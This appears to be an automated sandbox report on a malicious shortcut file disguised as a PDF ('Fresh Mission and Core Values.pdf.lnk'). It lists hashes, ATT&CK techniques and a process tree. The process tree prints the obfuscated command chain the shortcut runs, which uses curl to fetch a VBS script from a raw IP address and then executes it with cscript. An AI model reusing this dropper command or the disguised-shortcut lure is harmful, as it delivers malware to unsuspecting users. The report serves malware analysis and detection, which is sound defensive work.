e69a776549f8c3e68d4729dde9a1679f633d230bca21b6a2144dfd5599269d6e

Analysis

max time kernel
150s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
12/10/2023, 04:27

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General

Target

Fresh Mission and Core Values.pdf.lnk
Size

2KB
MD5

cea0885964c5c18fd7410ca82e0da52e
SHA1

272151f1e4f39fd79457dc3f1538103f153c5bf8
SHA256

e69a776549f8c3e68d4729dde9a1679f633d230bca21b6a2144dfd5599269d6e
SHA512

3e0c9105e096d880750f43f3fd2e2b15b917a7e5c616367b16b16761b43065584238038d9bf9012c8b8227558d97c321268f299eba2c29227fd8ea5dc7a7c5e0

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
48	100	cscript.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Control Panel\International\Geo\Nation	cscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
1436	PING.EXE
3400	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	48	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 3820	1672	cmd.exe	86
PID 1672 wrote to memory of 3820	1672	cmd.exe	86
PID 3820 wrote to memory of 1436	3820	cmd.exe	87
PID 3820 wrote to memory of 1436	3820	cmd.exe	87
PID 3820 wrote to memory of 3444	3820	cmd.exe	90
PID 3820 wrote to memory of 3444	3820	cmd.exe	90
PID 3820 wrote to memory of 3400	3820	cmd.exe	92
PID 3820 wrote to memory of 3400	3820	cmd.exe	92
PID 3820 wrote to memory of 100	3820	cmd.exe	95
PID 3820 wrote to memory of 100	3820	cmd.exe	95
PID 100 wrote to memory of 4516	100	cscript.exe	98
PID 100 wrote to memory of 4516	100	cscript.exe	98

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Fresh Mission and Core Values.pdf.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c kdYh || EchO kdYh & p"in"G kdYh || cU"Rl" http://185.39.18.170/3q/4F9 -o C:\Users\Admin\AppData\Local\Temp\kdYh.vbs & p"in"G -n 3 kdYh || C"sC"R"iPT" C:\Users\Admin\AppData\Local\Temp\kdYh.vbs & eXit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3820
- - C:\Windows\system32\PING.EXE
    p"in"G kdYh
    3⤵
    - Runs ping.exe
    PID:1436
- - C:\Windows\system32\curl.exe
    cU"Rl" http://185.39.18.170/3q/4F9 -o C:\Users\Admin\AppData\Local\Temp\kdYh.vbs
    3⤵
    PID:3444
- - C:\Windows\system32\PING.EXE
    p"in"G -n 3 kdYh
    3⤵
    - Runs ping.exe
    PID:3400
- - C:\Windows\system32\cscript.exe
    C"sC"R"iPT" C:\Users\Admin\AppData\Local\Temp\kdYh.vbs
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:100
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe"
      4⤵
      PID:4516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\kdYh.vbs

Filesize
1KB

MD5
c4a8d81a73bc508196aced6725f854a3

SHA1
d9970f285539d2f55df5dfba815042d37f16a78e

SHA256
a8f83ce806fe76f2ec67479eadb5985125d274e1fe9bb8dce943360414da9fc0

SHA512
dd7e3a7b2a301b58ff9615bdeaf3606929a06979bbaba25c7914d565abdef6410ca78665df788783ee2c2a2f083962fc8bc09337a5fd584091eb83131722a641

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